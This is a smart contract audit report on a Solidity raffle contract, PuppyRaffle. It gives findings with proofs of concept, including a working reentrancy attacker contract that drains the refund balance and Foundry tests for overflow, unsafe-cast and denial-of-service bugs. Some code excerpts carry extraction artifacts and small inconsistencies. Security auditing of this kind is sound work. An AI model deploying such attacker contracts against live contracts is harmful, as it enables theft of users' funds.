PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

June 19, 2025

PuppyRaffle Audit Report

Ignacio Grayeb

June 19, 2025

Prepared by: Ignacio Grayeb Lead Security Researcher: - Ignacio Grayeb

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle:enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-1] Unspecific Solidity Pragma
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3] Address State Variable Set Without Checks
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] _isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Ignacio Grayeb team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and, as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender`address and only after making that extrernal call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11
12 @>       payable(msg.sender).sendValue(entranceFee);
13 @>       players[playerIndex] = address(0);
14
15         emit RaffleRefunded(playerAddress);
```

```
16      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback`function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund`from their attack contract, draining the contract balance.

Code

Place the following into `PuppyRaffleTest.t.sol`:

```
function test_reentrancyRefund() public {
  address[] memory players = new address[](4);
  players[0] = playerOne;
  players[1] = playerTwo;
  players[2] = playerThree;
  players[3] = playerFour;
  puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

  ReentrancyAttacker attackerContract = new ReentrancyAttacker(
      puppyRaffle
  );
  address attackUser = makeAddr("attackUser");
  vm.deal(attackUser, 1 ether);

  uint256 startingAttackContractBalance = address(attackerContract)
      .balance;
  uint256 startingContractBalance = address(puppyRaffle).balance;

  // attack
  vm.prank(attackUser);
  attackerContract.attack{value: entranceFee}();

  console.log(
      "Starting attacker contract balance:",
      startingAttackContractBalance
  );
  console.log("Starting contract balance:", startingContractBalance);

  console.log(
```

```
        "Ending attacker contract balance:",
        address(attackerContract).balance
    );
    console.log("Ending contract balance:", address(puppyRaffle).balance)
        ;
}
```

As well as the following contract:

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund`function update the `players`array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
```

```
3     require(
4         playerAddress == msg.sender,
5         "PuppyRaffle: Only the player can refund"
6     );
7     require(
8         playerAddress != address(0),
9         "PuppyRaffle: Player already refunded, or is not active"
10    );
11
12  + players[playerIndex] = address(0);
13  + emit RaffleRefunded(playerAddress);
14    payable(msg.sender).sendValue(entranceFee);
15  - players[playerIndex] = address(0);
16  - emit RaffleRefunded(playerAddress);
17  }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, wining the money and selecting the `rarest` puppy, making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max; //18446744073709551615
myVar = myVar + 1; // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
  // We finish a raffle of 4 to collect some fees
  vm.warp(block.timestamp + duration + 1);
  vm.roll(block.number + 1);
  puppyRaffle.selectWinner();
  uint256 startingTotalFees = puppyRaffle.totalFees();
  // startingTotalFees = 800000000000000000

  // We then have 89 players enter a new raffle
  uint256 playersNum = 89;
  address[] memory players = new address[](playersNum);
  for (uint256 i = 0; i < playersNum; i++) {
      players[i] = address(i);
  }
  puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
  // We end the raffle
```

```
17      vm.warp(block.timestamp + duration + 1);
18      vm.roll(block.number + 1);
19
20      // And here is where the issue occurs
21      // We will now have fewer fees even though we just finished a second
            raffle
22      puppyRaffle.selectWinner();
23
24      uint256 endingTotalFees = puppyRaffle.totalFees();
25      console.log("ending total fees", endingTotalFees);
26      assert(endingTotalFees < startingTotalFees);
27
28      // We are also unable to withdraw any fees because of the require
            check
29      vm.prank(puppyRaffle.feeAddress());
30      vm.expectRevert("PuppyRaffle: There are currently players active!");
31      puppyRaffle.withdrawFees();
32  }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1  - pragma solidity ^0.7.6;
2  + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1  - uint64 public totalFees = 0;
2  + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1  - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle:enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle:enterRaffle` funciton loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit - DoS
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(
            players[i] != players[j],
            "PuppyRaffle: Duplicate player"
        );
    }
}
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6503272
- 2nd 100 players: ~18995512

This is more than 3x more expensive for the second 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_DenialOfService() public {
  vm.txGasPrice(1);
  uint256 playersNum = 100;
  address[] memory players = new address[](playersNum);
  for (uint256 i = 0; i < playersNum; i++) {
      players[i] = address(i);
  }
```

```
8
9     uint256 gasStart = gasleft();
10    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
11    uint256 gasEnd = gasleft();
12    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
13    console.log("Gas cost for first 100 players:", gasUsedFirst);
14
15    address[] memory playersTwo = new address[](playersNum);
16    for (uint256 i = 0; i < playersNum; i++) {
17        playersTwo[i] = address(i + playersNum);
18    }
19
20    uint256 gasStartSecond = gasleft();
21    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
22    uint256 gasEndSecond = gasleft();
23    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice
          ;
24    console.log("Gas cost for second 100 players:", gasUsedSecond);
25
26    assert(gasUsedFirst < gasUsedSecond);
27  }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
1  mapping(address => uint256) public lastRaffleEntered;
2  uint256 public currentRaffleId = 1; // Start at 1, so 0 means "never
       entered"
3
4  function enterRaffle(address[] memory newPlayers) public payable {
5      for (uint256 i = 0; i < newPlayers.length; i++) {
6          require(lastRaffleEntered[newPlayers[i]] != currentRaffleId, "
               Duplicate player");
7          lastRaffleEntered[newPlayers[i]] = currentRaffleId;
8          players.push(newPlayers[i]);
9      }
10 }
11
12 function selectWinner() external {
13     // ... winner selection ...
14     currentRaffleId++; // No deletion needed!
15     delete players;
16 }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

or add the following test to `PuppyRaffleTest.t.sol`:

Code

```
function test_unsafeCastInTotalFee() public {
  uint256 playersNum = 100;
  address[] memory players = new address[](playersNum);
  for (uint256 i = 0; i < playersNum; i++) {
      players[i] = address(i);
  }

  puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players); // total amount 100 eth (100e18)

  uint64 totalFeesBefore = puppyRaffle.totalFees();
  console.log("Total fees before:", uint256(totalFeesBefore));

  // raffle ends
  vm.warp(block.timestamp + duration + 1);
  vm.roll(block.number + 1);

  puppyRaffle.selectWinner();

  uint64 totalFeesAfter = puppyRaffle.totalFees();
  console.log("Total fees after:", uint256(totalFeesAfter));

  // the uint64(fee) in the totalFees calculation makes the expected 20 eth be ~1.55 eth
  assert(address(puppyRaffle).balance != uint256(totalFeesAfter));
}
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
```

```
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners could not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout amount, so winners can pull their funds out themselves, with a new `claimPrize` function, putting the owness on the winner to claim their prize (Recommended).

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(
    address player
) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle. They are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function's documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`.
- `PuppyRaffle::commonImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory, which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-   for (uint256 j = i + 1; j < players.length; j++) {
+   for (uint256 j = i + 1; j < playersLength; j++) {
        require(
            players[i] != players[j],
            "PuppyRaffle: Duplicate player"
        );
    }
}
```

Informational

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 4

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`, but preferably above `0.8.18`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 77

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 250

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success, ) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner");
3   _safeMint(winner, tokenId);
4 + (bool success, ) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1   uint256 prizePool = (totalAmountCollected * 80) / 100;
2   uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1     uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2     uint256 public constant FEE_PERCENTAGE = 20;
3     uint256 public constant POOL_PRECISION = 100;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
```

```
6 -         }
7 -         return false;
8 -     }
```